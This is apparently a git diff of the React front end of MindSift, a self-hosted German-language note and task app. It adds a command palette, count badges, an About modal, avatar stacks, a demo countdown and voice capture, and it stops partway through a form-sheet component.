{activeTab === 'groups' && (
|
{activeTab === 'groups' && (
|
||||||
@@ -1002,7 +1186,10 @@ export const App: React.FC = () => {
|
|||||||
<UserSettingsView
|
<UserSettingsView
|
||||||
currentUser={user}
|
currentUser={user}
|
||||||
activeTheme={activeTheme}
|
activeTheme={activeTheme}
|
||||||
|
themes={allThemes}
|
||||||
|
customThemes={customThemes}
|
||||||
onThemeChange={handleChangeTheme}
|
onThemeChange={handleChangeTheme}
|
||||||
|
onCustomThemesChange={handleCustomThemesChange}
|
||||||
onUserUpdated={(u) => {
|
onUserUpdated={(u) => {
|
||||||
setUser(u);
|
setUser(u);
|
||||||
refreshAll();
|
refreshAll();
|
||||||
@@ -1037,11 +1224,7 @@ export const App: React.FC = () => {
|
|||||||
>
|
>
|
||||||
<div className="relative">
|
<div className="relative">
|
||||||
<Layers className="w-5 h-5" />
|
<Layers className="w-5 h-5" />
|
||||||
{stats.inboxCount > 0 && (
|
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
|
||||||
<span className="absolute -top-1.5 -right-2.5 min-w-[16px] h-[16px] px-1 rounded-full text-[9px] font-bold leading-none bg-accent text-on-accent flex items-center justify-center shadow-xs pointer-events-none">
|
|
||||||
{stats.inboxCount}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</div>
|
</div>
|
||||||
<span className="text-[10px] leading-tight">Triage</span>
|
<span className="text-[10px] leading-tight">Triage</span>
|
||||||
</button>
|
</button>
|
||||||
@@ -1058,22 +1241,14 @@ export const App: React.FC = () => {
|
|||||||
}`}
|
}`}
|
||||||
title="Workspace"
|
title="Workspace"
|
||||||
>
|
>
|
||||||
<div className="relative">
|
<FileText className="w-5 h-5" />
|
||||||
<FileText className="w-5 h-5" />
|
|
||||||
{(stats.docsTodosOpenCount ?? 0) > 0 && (
|
|
||||||
<span className="absolute -top-1.5 -right-2.5 min-w-[16px] h-[16px] px-1 rounded-full text-[9px] font-bold leading-none bg-accent text-on-accent flex items-center justify-center shadow-xs pointer-events-none">
|
|
||||||
{stats.docsTodosOpenCount}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
<span className="text-[10px] leading-tight">Workspace</span>
|
<span className="text-[10px] leading-tight">Workspace</span>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
{/* Col 3 (EXACT CENTER): + Quick-Add FAB */}
|
{/* Col 3 (EXACT CENTER): + Quick-Add FAB */}
|
||||||
<div className="flex items-center justify-center">
|
<div className="flex items-center justify-center">
|
||||||
<button
|
<HoldToRecordFab
|
||||||
type="button"
|
onTap={() => {
|
||||||
onClick={() => {
|
|
||||||
triggerHaptic(15);
|
triggerHaptic(15);
|
||||||
if (primaryAction) {
|
if (primaryAction) {
|
||||||
primaryAction();
|
primaryAction();
|
||||||
@@ -1081,11 +1256,11 @@ export const App: React.FC = () => {
|
|||||||
openMobileTriageCapture();
|
openMobileTriageCapture();
|
||||||
}
|
}
|
||||||
}}
|
}}
|
||||||
className="w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer"
|
onTranscript={async (text) => {
|
||||||
title="Schnell erfassen (+)"
|
const thought = await api.captureThought(text, 'normal', 'voice', '', { target: 'inbox' });
|
||||||
>
|
handleCaptured(thought, 'inbox');
|
||||||
<Plus className="w-7 h-7 stroke-[2.5]" />
|
}}
|
||||||
</button>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Col 4: Aufgaben */}
|
{/* Col 4: Aufgaben */}
|
||||||
@@ -1102,11 +1277,7 @@ export const App: React.FC = () => {
|
|||||||
>
|
>
|
||||||
<div className="relative">
|
<div className="relative">
|
||||||
<CheckSquare className="w-5 h-5" />
|
<CheckSquare className="w-5 h-5" />
|
||||||
{stats.tasksOpenCount > 0 && (
|
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
|
||||||
<span className="absolute -top-1.5 -right-2.5 min-w-[16px] h-[16px] px-1 rounded-full text-[9px] font-bold leading-none bg-accent text-on-accent flex items-center justify-center shadow-xs pointer-events-none">
|
|
||||||
{stats.tasksOpenCount}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</div>
|
</div>
|
||||||
<span className="text-[10px] leading-tight">Aufgaben</span>
|
<span className="text-[10px] leading-tight">Aufgaben</span>
|
||||||
</button>
|
</button>
|
||||||
@@ -1123,7 +1294,10 @@ export const App: React.FC = () => {
|
|||||||
}`}
|
}`}
|
||||||
title="Listen"
|
title="Listen"
|
||||||
>
|
>
|
||||||
<ShoppingCart className="w-5 h-5" />
|
<div className="relative">
|
||||||
|
<ShoppingCart className="w-5 h-5" />
|
||||||
|
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
|
||||||
|
</div>
|
||||||
<span className="text-[10px] leading-tight">Listen</span>
|
<span className="text-[10px] leading-tight">Listen</span>
|
||||||
</button>
|
</button>
|
||||||
</nav>
|
</nav>
|
||||||
@@ -1313,7 +1487,7 @@ export const App: React.FC = () => {
|
|||||||
<span>Design-Theme</span>
|
<span>Design-Theme</span>
|
||||||
</span>
|
</span>
|
||||||
<div className="grid grid-cols-2 gap-2">
|
<div className="grid grid-cols-2 gap-2">
|
||||||
{AVAILABLE_THEMES.map((t) => (
|
{allThemes.map((t) => (
|
||||||
<button
|
<button
|
||||||
key={t.id}
|
key={t.id}
|
||||||
type="button"
|
type="button"
|
||||||
@@ -1367,6 +1541,7 @@ export const App: React.FC = () => {
|
|||||||
<span>Kontoeinstellungen</span>
|
<span>Kontoeinstellungen</span>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
|
{!isSharingDisabled() && (
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
@@ -1381,6 +1556,7 @@ export const App: React.FC = () => {
|
|||||||
<Users className="w-4 h-4 text-accent" />
|
<Users className="w-4 h-4 text-accent" />
|
||||||
<span>Gruppen</span>
|
<span>Gruppen</span>
|
||||||
</button>
|
</button>
|
||||||
|
)}
|
||||||
|
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
@@ -1518,6 +1694,15 @@ export const App: React.FC = () => {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{/* Global Command Palette (Cmd+K / Ctrl+K / '/') */}
|
||||||
|
<CommandPalette
|
||||||
|
isOpen={showCommandPalette}
|
||||||
|
onClose={() => setShowCommandPalette(false)}
|
||||||
|
onOpenDocument={handleOpenDocument}
|
||||||
|
onOpenTask={handleOpenTask}
|
||||||
|
onOpenList={handleOpenList}
|
||||||
|
/>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -0,0 +1,49 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { Brain, ExternalLink } from 'lucide-react';
|
||||||
|
import { APP_VERSION } from '../version';
|
||||||
|
import { ReadingModal } from './ReadingModal';
|
||||||
|
|
||||||
|
// Project facts shown in "Über MindSift"; change here when the repository or license changes
|
||||||
|
export const PROJECT_REPO_URL = 'https://git.dsit.me/sandrodach/MindSift';
|
||||||
|
export const PROJECT_LICENSE = 'The Unlicense – gemeinfrei, ohne Bedingungen';
|
||||||
|
|
||||||
|
export const AboutModal: React.FC<{ onClose: () => void }> = ({ onClose }) => (
|
||||||
|
<ReadingModal title="Über MindSift" onClose={onClose}>
|
||||||
|
<div className="space-y-4 text-xs text-muted leading-relaxed">
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<div className="w-9 h-9 bg-accent text-on-accent rounded-btn flex items-center justify-center shrink-0">
|
||||||
|
<Brain className="w-5 h-5" />
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<p className="text-sm font-bold text-main">MindSift</p>
|
||||||
|
<p>Der Kopf frei in drei Sekunden.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment. MindSift trennt deshalb{' '}
|
||||||
|
<strong className="text-main">Erfassen</strong> und <strong className="text-main">Organisieren</strong>: Gedanken
|
||||||
|
landen sofort im Quick Dump und werden später mit einem Tastendruck zu Aufgabe, Notiz oder Listeneintrag. Alles läuft
|
||||||
|
selbst gehostet in einem Container mit einer SQLite-Datei – deine Daten bleiben bei dir.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1.5">
|
||||||
|
<dt className="font-semibold text-main">Version</dt>
|
||||||
|
<dd className="font-mono">{APP_VERSION}</dd>
|
||||||
|
<dt className="font-semibold text-main">Lizenz</dt>
|
||||||
|
<dd>{PROJECT_LICENSE}</dd>
|
||||||
|
<dt className="font-semibold text-main">Quellcode</dt>
|
||||||
|
<dd>
|
||||||
|
<a href={PROJECT_REPO_URL} target="_blank" rel="noopener noreferrer" className="text-accent hover:underline inline-flex items-center gap-1">
|
||||||
|
{PROJECT_REPO_URL.replace(/^https:\/\//, '')}
|
||||||
|
<ExternalLink className="w-3 h-3" />
|
||||||
|
</a>
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p className="text-[11px] text-faint">
|
||||||
|
Impressum und Datenschutz dieser Instanz verantwortet ihr Betreiber; die Links stehen in den Kontoeinstellungen und auf der Anmeldeseite.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</ReadingModal>
|
||||||
|
);
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { UserAvatar } from './UserAvatar';
|
||||||
|
|
||||||
|
export interface AvatarPerson {
|
||||||
|
id: string;
|
||||||
|
name: string;
|
||||||
|
avatarUrl?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface AvatarStackProps {
|
||||||
|
people: AvatarPerson[];
|
||||||
|
max?: number;
|
||||||
|
size?: 'xxs' | 'xs';
|
||||||
|
// Ring in the color of the surface behind the stack, so overlapping circles stay separated
|
||||||
|
ringClass?: string;
|
||||||
|
title?: string;
|
||||||
|
className?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const OVERFLOW_SIZE = {
|
||||||
|
xxs: 'w-4 h-4 text-[7px]',
|
||||||
|
xs: 'w-5 h-5 text-[9px]',
|
||||||
|
};
|
||||||
|
|
||||||
|
// Small overlapping profile pictures: at most `max` circles, the rest as a monochrome "+n" circle.
|
||||||
|
// Used for presence in notes, list/task-list tabs, task assignees and list item authors (Doku/ui-patterns.md).
|
||||||
|
export const AvatarStack: React.FC<AvatarStackProps> = ({
|
||||||
|
people,
|
||||||
|
max = 3,
|
||||||
|
size = 'xs',
|
||||||
|
ringClass = 'ring-[var(--bg-app)]',
|
||||||
|
title,
|
||||||
|
className = '',
|
||||||
|
}) => {
|
||||||
|
if (people.length === 0) return null;
|
||||||
|
const visible = people.slice(0, max);
|
||||||
|
const hidden = people.length - visible.length;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<span className={`inline-flex items-center -space-x-1.5 shrink-0 ${className}`} title={title}>
|
||||||
|
{visible.map((p) => (
|
||||||
|
<UserAvatar
|
||||||
|
key={p.id}
|
||||||
|
name={p.name}
|
||||||
|
avatarUrl={p.avatarUrl || ''}
|
||||||
|
size={size}
|
||||||
|
showTitle={false}
|
||||||
|
className={`ring-2 ${ringClass}`}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
{hidden > 0 && (
|
||||||
|
<span
|
||||||
|
className={`relative inline-flex items-center justify-center rounded-full font-bold leading-none bg-muted text-panel ring-2 ${ringClass} ${OVERFLOW_SIZE[size]}`}
|
||||||
|
>
|
||||||
|
+{hidden}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,326 @@
|
|||||||
|
import React, { useEffect, useMemo, useRef, useState } from 'react';
|
||||||
|
import {
|
||||||
|
Search,
|
||||||
|
FileText,
|
||||||
|
CheckSquare,
|
||||||
|
ShoppingCart,
|
||||||
|
X,
|
||||||
|
Loader2,
|
||||||
|
CornerDownLeft,
|
||||||
|
} from 'lucide-react';
|
||||||
|
import { SearchHit } from '../lib/types';
|
||||||
|
import { api } from '../lib/api';
|
||||||
|
|
||||||
|
interface CommandPaletteProps {
|
||||||
|
isOpen: boolean;
|
||||||
|
onClose: () => void;
|
||||||
|
onOpenDocument: (docId: string, blockId?: string) => void;
|
||||||
|
onOpenTask: (taskId: string) => void;
|
||||||
|
onOpenList: (listId: string) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Safely render snippet containing <mark>...</mark> without dangerouslySetInnerHTML
|
||||||
|
const SnippetRenderer: React.FC<{ snippet: string }> = ({ snippet }) => {
|
||||||
|
const parts = useMemo(() => {
|
||||||
|
if (!snippet) return [];
|
||||||
|
return snippet.split(/(<mark>[\s\S]*?<\/mark>)/g);
|
||||||
|
}, [snippet]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<span className="text-muted text-xs line-clamp-2 leading-relaxed">
|
||||||
|
{parts.map((part, i) => {
|
||||||
|
if (part.startsWith('<mark>') && part.endsWith('</mark>')) {
|
||||||
|
const text = part.slice(6, -7);
|
||||||
|
return (
|
||||||
|
<mark
|
||||||
|
key={i}
|
||||||
|
className="bg-accent-dim text-accent font-semibold px-0.5 rounded"
|
||||||
|
>
|
||||||
|
{text}
|
||||||
|
</mark>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return <span key={i}>{part}</span>;
|
||||||
|
})}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
export const CommandPalette: React.FC<CommandPaletteProps> = ({
|
||||||
|
isOpen,
|
||||||
|
onClose,
|
||||||
|
onOpenDocument,
|
||||||
|
onOpenTask,
|
||||||
|
onOpenList,
|
||||||
|
}) => {
|
||||||
|
const [query, setQuery] = useState('');
|
||||||
|
const [hits, setHits] = useState<SearchHit[]>([]);
|
||||||
|
const [selectedIndex, setSelectedIndex] = useState(0);
|
||||||
|
const [loading, setLoading] = useState(false);
|
||||||
|
|
||||||
|
const inputRef = useRef<HTMLInputElement>(null);
|
||||||
|
const debounceTimerRef = useRef<number | null>(null);
|
||||||
|
|
||||||
|
// Group hits by category: Notizen, Aufgaben, Listen
|
||||||
|
const groupedHits = useMemo(() => {
|
||||||
|
const docs: SearchHit[] = [];
|
||||||
|
const tasks: SearchHit[] = [];
|
||||||
|
const lists: SearchHit[] = [];
|
||||||
|
|
||||||
|
for (const h of hits) {
|
||||||
|
if (h.type === 'document') {
|
||||||
|
docs.push(h);
|
||||||
|
} else if (h.type === 'thought') {
|
||||||
|
tasks.push(h);
|
||||||
|
} else if (h.type === 'list_item') {
|
||||||
|
lists.push(h);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
{ key: 'documents', label: 'Notizen', icon: FileText, items: docs },
|
||||||
|
{ key: 'tasks', label: 'Aufgaben', icon: CheckSquare, items: tasks },
|
||||||
|
{ key: 'lists', label: 'Listen', icon: ShoppingCart, items: lists },
|
||||||
|
].filter((g) => g.items.length > 0);
|
||||||
|
}, [hits]);
|
||||||
|
|
||||||
|
// Flattened array for simple up/down index navigation
|
||||||
|
const flatHits = useMemo(() => {
|
||||||
|
return groupedHits.flatMap((g) => g.items);
|
||||||
|
}, [groupedHits]);
|
||||||
|
|
||||||
|
// Focus input and reset on open
|
||||||
|
useEffect(() => {
|
||||||
|
if (isOpen) {
|
||||||
|
setQuery('');
|
||||||
|
setHits([]);
|
||||||
|
setSelectedIndex(0);
|
||||||
|
setTimeout(() => inputRef.current?.focus(), 50);
|
||||||
|
}
|
||||||
|
}, [isOpen]);
|
||||||
|
|
||||||
|
// 150ms debounce search
|
||||||
|
useEffect(() => {
|
||||||
|
if (debounceTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(debounceTimerRef.current);
|
||||||
|
}
|
||||||
|
|
||||||
|
const trimmed = query.trim();
|
||||||
|
if (!trimmed) {
|
||||||
|
setHits([]);
|
||||||
|
setLoading(false);
|
||||||
|
setSelectedIndex(0);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
setLoading(true);
|
||||||
|
debounceTimerRef.current = window.setTimeout(async () => {
|
||||||
|
try {
|
||||||
|
const res = await api.searchAll(trimmed);
|
||||||
|
setHits(res.hits || []);
|
||||||
|
setSelectedIndex(0);
|
||||||
|
} catch {
|
||||||
|
setHits([]);
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
}, 150);
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
if (debounceTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(debounceTimerRef.current);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}, [query]);
|
||||||
|
|
||||||
|
// Keyboard navigation: ↑, ↓, Enter, Escape
|
||||||
|
useEffect(() => {
|
||||||
|
if (!isOpen) return;
|
||||||
|
|
||||||
|
const handleKeyDown = (e: KeyboardEvent) => {
|
||||||
|
if (e.key === 'Escape') {
|
||||||
|
e.preventDefault();
|
||||||
|
onClose();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (flatHits.length === 0) return;
|
||||||
|
|
||||||
|
if (e.key === 'ArrowDown') {
|
||||||
|
e.preventDefault();
|
||||||
|
setSelectedIndex((prev) => (prev + 1) % flatHits.length);
|
||||||
|
} else if (e.key === 'ArrowUp') {
|
||||||
|
e.preventDefault();
|
||||||
|
setSelectedIndex((prev) => (prev - 1 + flatHits.length) % flatHits.length);
|
||||||
|
} else if (e.key === 'Enter') {
|
||||||
|
e.preventDefault();
|
||||||
|
const selected = flatHits[selectedIndex];
|
||||||
|
if (selected) {
|
||||||
|
executeSelection(selected);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
window.addEventListener('keydown', handleKeyDown);
|
||||||
|
return () => window.removeEventListener('keydown', handleKeyDown);
|
||||||
|
}, [isOpen, flatHits, selectedIndex]);
|
||||||
|
|
||||||
|
const executeSelection = (hit: SearchHit) => {
|
||||||
|
onClose();
|
||||||
|
if (hit.type === 'document') {
|
||||||
|
onOpenDocument(hit.docId || hit.id, hit.blockId);
|
||||||
|
} else if (hit.type === 'thought') {
|
||||||
|
onOpenTask(hit.id);
|
||||||
|
} else if (hit.type === 'list_item') {
|
||||||
|
if (hit.listId) {
|
||||||
|
onOpenList(hit.listId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (!isOpen) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className="fixed inset-0 z-50 flex items-start justify-center p-0 sm:p-4 sm:pt-16 bg-black/60 backdrop-blur-xs animate-in fade-in duration-150"
|
||||||
|
onClick={onClose}
|
||||||
|
>
|
||||||
|
{/* Search Modal Container */}
|
||||||
|
<div
|
||||||
|
className="
|
||||||
|
w-full h-full bg-panel flex flex-col overflow-hidden shadow-2xl
|
||||||
|
sm:h-auto sm:max-h-[80vh] sm:max-w-2xl sm:rounded-card sm:border sm:border-border
|
||||||
|
"
|
||||||
|
onClick={(e) => e.stopPropagation()}
|
||||||
|
>
|
||||||
|
{/* Top Input Bar */}
|
||||||
|
<div className="flex items-center gap-2.5 px-4 py-3 border-b border-border bg-canvas/40 shrink-0">
|
||||||
|
<Search className="w-5 h-5 text-accent shrink-0" />
|
||||||
|
<input
|
||||||
|
ref={inputRef}
|
||||||
|
type="text"
|
||||||
|
value={query}
|
||||||
|
onChange={(e) => setQuery(e.target.value)}
|
||||||
|
placeholder="Globale Suche in Notizen, Aufgaben und Listen…"
|
||||||
|
className="flex-1 bg-transparent border-0 outline-none text-main placeholder-muted text-base sm:text-sm focus:ring-0 p-0"
|
||||||
|
/>
|
||||||
|
{loading && <Loader2 className="w-4 h-4 animate-spin text-accent shrink-0" />}
|
||||||
|
{query && !loading && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setQuery('');
|
||||||
|
setHits([]);
|
||||||
|
inputRef.current?.focus();
|
||||||
|
}}
|
||||||
|
className="text-muted hover:text-main p-1"
|
||||||
|
title="Eingabe leeren"
|
||||||
|
>
|
||||||
|
<X className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={onClose}
|
||||||
|
className="sm:hidden px-2 py-1 text-xs font-semibold text-accent"
|
||||||
|
>
|
||||||
|
Fertig
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Results Container */}
|
||||||
|
<div className="flex-1 overflow-y-auto p-2 space-y-4 min-h-[160px]">
|
||||||
|
{query.trim() === '' ? (
|
||||||
|
<div className="py-12 px-4 text-center text-xs text-muted space-y-1">
|
||||||
|
<p className="font-semibold text-main">MindSift Globale Suche</p>
|
||||||
|
<p>Tippe ein Stichwort ein, um alle Inhalte in Sekundenschnelle zu durchsuchen.</p>
|
||||||
|
</div>
|
||||||
|
) : flatHits.length === 0 && !loading ? (
|
||||||
|
<div className="py-12 px-4 text-center text-xs text-muted space-y-1">
|
||||||
|
<p className="font-semibold text-main">Keine Treffer gefunden</p>
|
||||||
|
<p>Keine Notizen, Aufgaben oder Listen-Einträge stimmen mit „{query}“ überein.</p>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
groupedHits.map((group) => {
|
||||||
|
const GroupIcon = group.icon;
|
||||||
|
return (
|
||||||
|
<div key={group.key} className="space-y-1">
|
||||||
|
<div className="flex items-center gap-1.5 px-2 py-1 text-[11px] font-bold text-accent uppercase tracking-wider">
|
||||||
|
<GroupIcon className="w-3.5 h-3.5" />
|
||||||
|
<span>{group.label}</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="space-y-1">
|
||||||
|
{group.items.map((item) => {
|
||||||
|
const overallIndex = flatHits.indexOf(item);
|
||||||
|
const isSelected = overallIndex === selectedIndex;
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
key={item.id}
|
||||||
|
onClick={() => executeSelection(item)}
|
||||||
|
onMouseEnter={() => setSelectedIndex(overallIndex)}
|
||||||
|
className={`
|
||||||
|
px-3 py-2.5 rounded-btn flex items-start gap-2.5 transition-colors cursor-pointer border
|
||||||
|
${
|
||||||
|
isSelected
|
||||||
|
? 'bg-panel-elevated border-accent text-main'
|
||||||
|
: 'bg-canvas/50 border-transparent text-main hover:bg-panel-elevated'
|
||||||
|
}
|
||||||
|
`}
|
||||||
|
>
|
||||||
|
<div className="mt-0.5 shrink-0 text-base leading-none">
|
||||||
|
{item.icon || (item.type === 'document' ? '📝' : item.type === 'thought' ? '✅' : '🛒')}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex-1 min-w-0 space-y-0.5">
|
||||||
|
<div className="flex items-center justify-between gap-2">
|
||||||
|
<span className="font-semibold text-xs truncate">
|
||||||
|
{item.title || 'Unbenannt'}
|
||||||
|
</span>
|
||||||
|
{isSelected && (
|
||||||
|
<span className="hidden sm:inline-flex items-center text-[10px] text-accent gap-0.5 shrink-0">
|
||||||
|
<span>Öffnen</span>
|
||||||
|
<CornerDownLeft className="w-3 h-3" />
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{item.snippet && (
|
||||||
|
<div>
|
||||||
|
<SnippetRenderer snippet={item.snippet} />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Footer Shortcut Bar (Desktop) */}
|
||||||
|
<div className="hidden sm:flex items-center justify-between px-4 py-2 bg-canvas/40 border-t border-border text-[11px] text-muted shrink-0">
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<span>
|
||||||
|
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">↑</kbd>{' '}
|
||||||
|
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">↓</kbd> Navigieren
|
||||||
|
</span>
|
||||||
|
<span>
|
||||||
|
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">↵</kbd> Auswählen
|
||||||
|
</span>
|
||||||
|
<span>
|
||||||
|
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">Esc</kbd> Schließen
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<span>{flatHits.length} Treffer</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
import React from 'react';
|
||||||
|
|
||||||
|
interface CountBadgeProps {
|
||||||
|
count: number | undefined | null;
|
||||||
|
// accent: something waits for you (nav bar); muted: plain amount (tabs, lists)
|
||||||
|
variant?: 'accent' | 'muted';
|
||||||
|
// corner: notification badge on the top right of the nearest `relative` parent
|
||||||
|
position?: 'inline' | 'corner';
|
||||||
|
showZero?: boolean;
|
||||||
|
className?: string; // e.g. to fine-tune the corner offset
|
||||||
|
}
|
||||||
|
|
||||||
|
// Full class names: Tailwind drops component classes it cannot find literally in the source
|
||||||
|
const VARIANT_CLASS = { accent: 'count-badge-accent', muted: 'count-badge-muted' };
|
||||||
|
|
||||||
|
// The one counter of the app (Doku/ui-patterns.md); hides itself at 0 unless showZero
|
||||||
|
export const CountBadge: React.FC<CountBadgeProps> = ({
|
||||||
|
count,
|
||||||
|
variant = 'muted',
|
||||||
|
position = 'inline',
|
||||||
|
showZero = false,
|
||||||
|
className = '',
|
||||||
|
}) => {
|
||||||
|
if (count === undefined || count === null || (count <= 0 && !showZero)) return null;
|
||||||
|
const label = count > 99 ? '99+' : String(count);
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
className={`count-badge ${VARIANT_CLASS[variant]} ${position === 'corner' ? 'count-badge-corner' : ''} ${className}`}
|
||||||
|
aria-label={String(count)}
|
||||||
|
>
|
||||||
|
{label}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
|
||||||
|
interface DemoCountdownProps {
|
||||||
|
deadline: number; // ms timestamp of the next reset, in this browser's clock
|
||||||
|
minutes?: number;
|
||||||
|
className?: string;
|
||||||
|
onElapsed?: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const fmt = (ms: number) => {
|
||||||
|
const total = Math.max(0, Math.round(ms / 1000));
|
||||||
|
return `${String(Math.floor(total / 60)).padStart(2, '0')}:${String(total % 60).padStart(2, '0')}`;
|
||||||
|
};
|
||||||
|
|
||||||
|
// "✨ Demo · Reset in MM:SS" in place of the version under the app name while the demo mode resets itself
|
||||||
|
export const DemoCountdown: React.FC<DemoCountdownProps> = ({ deadline, minutes, className = '', onElapsed }) => {
|
||||||
|
const [now, setNow] = useState(() => Date.now());
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const timer = window.setInterval(() => setNow(Date.now()), 1000);
|
||||||
|
return () => window.clearInterval(timer);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const left = deadline - now;
|
||||||
|
useEffect(() => {
|
||||||
|
if (left <= 0) onElapsed?.();
|
||||||
|
// Runs when the deadline passes, not on every tick
|
||||||
|
}, [left <= 0, deadline]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
className={`font-mono leading-tight text-accent ${className}`}
|
||||||
|
title={`Diese Test-Instanz wird alle ${minutes || 20} Minuten automatisch auf den Ausgangszustand zurückgesetzt.`}
|
||||||
|
>
|
||||||
|
✨ Demo · {left > 0 ? `Reset in ${fmt(left)}` : 'wird zurückgesetzt…'}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
import React, { useEffect } from 'react';
|
||||||
|
import { X } from 'lucide-react';
|
||||||
|
import { useKeyboardInset } from '../lib/useKeyboardInset';
|
||||||
|
|
||||||
|
interface FormSheetProps {
|
||||||
|
title: string;
|
||||||
|
icon?: React.ReactNode;
|
||||||
|
onClose: () => void;
|
||||||
|
onSubmit: (e: React.FormEvent) => void;
|
||||||
|
children: React.ReactNode; // the fields
|
||||||
|
submitLabel?: string;
|
||||||
|
danger?: boolean; // red submit button for destructive actions
|
||||||
|
busy?: boolean;
|
||||||
|
// Desktop only: open next to the click instead of centred
|
||||||
|
anchor?: { x: number; y: number } | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Small create/rename dialogs. Phone: bottom sheet directly above the keyboard, full width, large
|
||||||
|
// fields. Desktop: centred dialog (or next to the click). Escape and the backdrop close it.
|
||||||
|
export const FormSheet: React.FC<FormSheetProps> = ({
|
||||||
|
title,
|
||||||
|
icon,
|
||||||
|
onClose,
|
||||||
|
onSubmit,
|
||||||
|
children,
|
||||||
|
submitLabel = 'Erstellen',
|
||||||
|
anchor,
|
||||||
|
danger = false,
|
||||||
|
busy = false,
|
||||||
|
}) => {
|
||||||
|
const { inset, visibleHeight } = useKeyboardInset();
|
||||||
|
useEffect(() => {
|
||||||
|
